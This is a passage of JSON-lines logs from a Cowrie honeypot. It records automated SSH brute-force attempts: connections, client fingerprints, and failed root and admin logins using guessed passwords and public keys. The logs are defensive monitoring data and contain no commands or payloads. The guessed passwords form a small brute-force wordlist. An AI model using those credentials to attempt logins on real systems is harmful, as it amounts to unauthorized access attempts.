m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:49.332515Z","src_ip":"103.176.20.57","session":"d9fecf06cb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"camelot","message":"login attempt [root/camelot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:50.106754Z","src_ip":"103.176.20.57","session":"d9fecf06cb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:19:51.367107Z","src_ip":"103.176.20.57","session":"d9fecf06cb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37911915779114,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:05.895450Z","src_ip":"135.148.14.151","session":"201ff3601f0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ca75dc6823","protocol":"ssh","message":"New connection: 38.93.206.2:13400 (159.203.135.109:22) [session: c1ca75dc6823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:22.928494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:22.940647Z","src_ip":"38.93.206.2","session":"c1ca75dc6823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:22.991434Z","src_ip":"38.93.206.2","session":"c1ca75dc6823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30031988","message":"login attempt [root/30031988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:23.148052Z","src_ip":"38.93.206.2","session":"c1ca75dc6823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:24.201880Z","src_ip":"38.93.206.2","session":"c1ca75dc6823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54112,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0218a760a7","protocol":"ssh","message":"New connection: 103.149.170.125:54112 (159.203.135.109:22) [session: cf0218a760a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:37.791849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:37.809513Z","src_ip":"103.149.170.125","session":"cf0218a760a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:38.064280Z","src_ip":"103.149.170.125","session":"cf0218a760a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21041992","message":"login attempt [root/21041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:38.820297Z","src_ip":"103.149.170.125","session":"cf0218a760a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:40.074344Z","src_ip":"103.149.170.125","session":"cf0218a760a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":54676,"dst_ip":"159.203.135.109","dst_port":22,"session":"152c4c261c57","protocol":"ssh","message":"New connection: 2.57.121.112:54676 (159.203.135.109:22) [session: 152c4c261c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:40.936462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:41.029519Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:41.122363Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031188","message":"login attempt [admin/031188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:41.541121Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03111995","message":"login attempt [admin/03111995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:42.640936Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031088","message":"login attempt [admin/031088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:43.741800Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031082","message":"login attempt [admin/031082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:44.845546Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030983","message":"login attempt [admin/030983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:45.948195Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:20:47.048235Z","src_ip":"2.57.121.112","session":"152c4c261c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.235.126","src_port":37540,"dst_ip":"10.17.0.5","dst_port":22,"session":"0faed04f38f8","protocol":"ssh","message":"New connection: 192.250.235.126:37540 (10.17.0.5:22) [session: 0faed04f38f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:11.749609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:11.754588Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:12.026255Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1/pORERvpZXMvjNgnBXnYke9hMet2u+M7Erg6Y/yPZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.310098Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:2b:d4:59:88:9a:61:11:55:22:1b:7f:a4:aa:27:ec","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII1/pORERvpZXMvjNgnBXnYke9hMet2u+M7Erg6Y/yPZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.315349Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QH0SkrlGmq9gq4S3nQ+Z/NDvrx0hiQL0uYgVzJhcS8imDhadkWwcsZXpFQPDZthaDfDU+i+/oh3RrrR5xEvTxErcy2qAaQof6j0S8DapgjwahPHQfPvgjyDL2M3BuIURUkH2HFKtqyvnvwBsN1WqeAzLg668MggHXdDhzYjVrHmkx9vd56x7Ul1wKBcWGNXO/IphAA7K9YkgCCWNK7Y2usSHNCAaDtsvfcXGtC1L667bj6qcJX2IDN6TBmVRvgzSempVTI0d0jMFbkvYpaSu0dmQ6RcghN9yP+LdC4A1pSvq8l9Bat4F/Ytd22qjAQDebAnHB5MiCJdKSudjHLJefeRghhTM1/XghIg0UZywnVob1DbU87qDSlN9ep27sp320jhTTnw+U/6mHRTwXW4VFzQqY940NvS63p5ntdFwKjdbTgxfWYJfaPIEJeLtX5B54Os4n0BAJTBf+dakTfBwPZohfPJsh8TQrUGtGHX7XZWu4b18ME1E8EGCZJi4awY5aYkqT26u+IHE9MitpBDOgZuaVUVfDiH3sJs7aeuM5nCHNrSi3zaeqEUMCz9b9AsTKYdeu2v06HDACUk2y8Jb9RGg9Q1rJAC8nzrgUJ3r/hfBizLqJUgF+VvSQ0mwXvdvjN6Naj5GSDWsDZp8qVLwoKdfjw14qidfyqOMcDzD5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.573395Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b5:c3:5a:cf:dd:ba:7d:5e:e1:c1:7f:1d:58:90:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9QH0SkrlGmq9gq4S3nQ+Z/NDvrx0hiQL0uYgVzJhcS8imDhadkWwcsZXpFQPDZthaDfDU+i+/oh3RrrR5xEvTxErcy2qAaQof6j0S8DapgjwahPHQfPvgjyDL2M3BuIURUkH2HFKtqyvnvwBsN1WqeAzLg668MggHXdDhzYjVrHmkx9vd56x7Ul1wKBcWGNXO/IphAA7K9YkgCCWNK7Y2usSHNCAaDtsvfcXGtC1L667bj6qcJX2IDN6TBmVRvgzSempVTI0d0jMFbkvYpaSu0dmQ6RcghN9yP+LdC4A1pSvq8l9Bat4F/Ytd22qjAQDebAnHB5MiCJdKSudjHLJefeRghhTM1/XghIg0UZywnVob1DbU87qDSlN9ep27sp320jhTTnw+U/6mHRTwXW4VFzQqY940NvS63p5ntdFwKjdbTgxfWYJfaPIEJeLtX5B54Os4n0BAJTBf+dakTfBwPZohfPJsh8TQrUGtGHX7XZWu4b18ME1E8EGCZJi4awY5aYkqT26u+IHE9MitpBDOgZuaVUVfDiH3sJs7aeuM5nCHNrSi3zaeqEUMCz9b9AsTKYdeu2v06HDACUk2y8Jb9RGg9Q1rJAC8nzrgUJ3r/hfBizLqJUgF+VvSQ0mwXvdvjN6Naj5GSDWsDZp8qVLwoKdfjw14qidfyqOMcDzD5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.577620Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3l/htmzRtDao5Pa3hhf4OmWtlTT1coOCR/EO06SLYx3L8iCuEo27j4O9JWjmsOS1MaxBmkmpedEhpKABqizrRgtMlgukZRa7CPBDaJvlBBK6SsfFRUcEZK1WT036zdsTMhVEmtSwQKodH66YpOSWbxJEYnDPPa+bNhjJCpgieOgXs/aJvJrMCgOlUDE66a5Y/vf+D1dMXPBPtKS0KMv6eObEpbVDISyPU80mKaGajVz+to7eNHx0o7pp0m5QLhIiPIbFE0D9Qqm2VWQlbjKFKrPgwrP85rfpiJ/Dp8JdVdQ0lBPCzg9kWuvdM/AALHUzSpLgc0mciNZXgdy58VK09jjHLwf7BED6nopppaNQIJr9TJCByoxCxG9MARzfl0NRVw/zY7J56WyEZKCcaKOH7l5OQyB6yeJLLBGFYpvFRvNDb6EdmbEh/daDOkpmwjCKtPfMqCliY5AnJ5VFt1B7qPOtcbQw32sH/ez7+3QabUVFRD7NZWCtqI0EcdoegEm1cdNYcOFUmrM87VP7nm9UUlKUE2wdlTwirmdTpUmOUusKQQtnFWNUwxDyktoEv+MnP3BV/+WWg3zCKj2IuT1Qw7NX6UWs9ToISHbRlYnN878zvKFZBGCV8pROkJ8E9YvTACyq7O3zgAcW7Nw8POOZVQuef3TJxiKvZLZQpDimL7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.850802Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:8d:7a:8c:99:a8:d8:51:31:ef:ea:35:d6:4e:60:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3l/htmzRtDao5Pa3hhf4OmWtlTT1coOCR/EO06SLYx3L8iCuEo27j4O9JWjmsOS1MaxBmkmpedEhpKABqizrRgtMlgukZRa7CPBDaJvlBBK6SsfFRUcEZK1WT036zdsTMhVEmtSwQKodH66YpOSWbxJEYnDPPa+bNhjJCpgieOgXs/aJvJrMCgOlUDE66a5Y/vf+D1dMXPBPtKS0KMv6eObEpbVDISyPU80mKaGajVz+to7eNHx0o7pp0m5QLhIiPIbFE0D9Qqm2VWQlbjKFKrPgwrP85rfpiJ/Dp8JdVdQ0lBPCzg9kWuvdM/AALHUzSpLgc0mciNZXgdy58VK09jjHLwf7BED6nopppaNQIJr9TJCByoxCxG9MARzfl0NRVw/zY7J56WyEZKCcaKOH7l5OQyB6yeJLLBGFYpvFRvNDb6EdmbEh/daDOkpmwjCKtPfMqCliY5AnJ5VFt1B7qPOtcbQw32sH/ez7+3QabUVFRD7NZWCtqI0EcdoegEm1cdNYcOFUmrM87VP7nm9UUlKUE2wdlTwirmdTpUmOUusKQQtnFWNUwxDyktoEv+MnP3BV/+WWg3zCKj2IuT1Qw7NX6UWs9ToISHbRlYnN878zvKFZBGCV8pROkJ8E9YvTACyq7O3zgAcW7Nw8POOZVQuef3TJxiKvZLZQpDimL7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:13.855692Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvXViJ8DQhFb93H9QiKwdfUWKIX+O6WEBivNyw9AhLveZ4YtAcR7kgudkIPAwUqVLAbKTUmV9VDjS2aSSRXHzZKdj33Fu2u9JGCZB8X5PKVTH3tE5RL4P77jKLlBqAd0uKv/0fp4B9H9/1COEmTIrWhyig57u3kCwqsZiQx4KMeMiPHJ9D00t8K6FZINmTGmTxMqvR+lJp8qBeHncdOqD/+E64okErW5colAVpsKCUIStLDBAPOw6nsVioyvX58evXJKLrjluFo0dKqTsPgOE2h8Gz9o7Av/CWmol5UY/pJbpaC0IE4eIYoitGjs4OJxkpAEjfR090EvRNNhbT+dA9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:14.123702Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:dd:56:04:16:d3:1e:fa:99:dc:c5:6f:61:db:52:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvXViJ8DQhFb93H9QiKwdfUWKIX+O6WEBivNyw9AhLveZ4YtAcR7kgudkIPAwUqVLAbKTUmV9VDjS2aSSRXHzZKdj33Fu2u9JGCZB8X5PKVTH3tE5RL4P77jKLlBqAd0uKv/0fp4B9H9/1COEmTIrWhyig57u3kCwqsZiQx4KMeMiPHJ9D00t8K6FZINmTGmTxMqvR+lJp8qBeHncdOqD/+E64okErW5colAVpsKCUIStLDBAPOw6nsVioyvX58evXJKLrjluFo0dKqTsPgOE2h8Gz9o7Av/CWmol5UY/pJbpaC0IE4eIYoitGjs4OJxkpAEjfR090EvRNNhbT+dA9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:14.127504Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhQ2Qfju6Iy3VFgnEpO9Sj9GBXh0FJ2EjOTFGe/mm1w9G+SPVQXcGMVHgHw8jAyBDSQSGonaUhORRBPMYP2Qli9Kk5BbVQQoCqm8MkOejZKTmOsJ928odDPYuYixWpopArfkgn5AmK5xLn8VPKsalo0qL15oHR2ETLpSZ4D0VBcK03KzfKKX7ZuuUjRjZ1FDGafiK5mQeRcQ+Ar1zeDyPfminIZmCrw+xkdgNqB1lIjNht4bFO6eOdd03d3xNewQjFbzIN8pHin0T9Vb9gjN4gTReu6jMUPahx2IDGDlYgwT51RqqB3tv3czEqZ00SR09xxsfbKtAjOdRTuqs5LQcJZ+whv23kOSqsq33TWWxFsAps1CrJiI4E/NZVkmwTDwyNc8Vn7i6OCjcH2MHipapweznTAIqomPzsNXnvps99M60Kjp8Zfpz0N+Zk3IyenRrP0tnpeM8eQJKGpXQhVYZHMbuuc71u0AF1fH+Nt/lMVRKDEUmtIPyhpgo3O7z1kgE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:90:ce:6d:7c:65:81:cb:cd:cc:ef:26:cd:5b:23:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:21:14.396831Z","src_ip":"192.250.235.126","session":"0faed04f38f8","protocol":"ssh"}
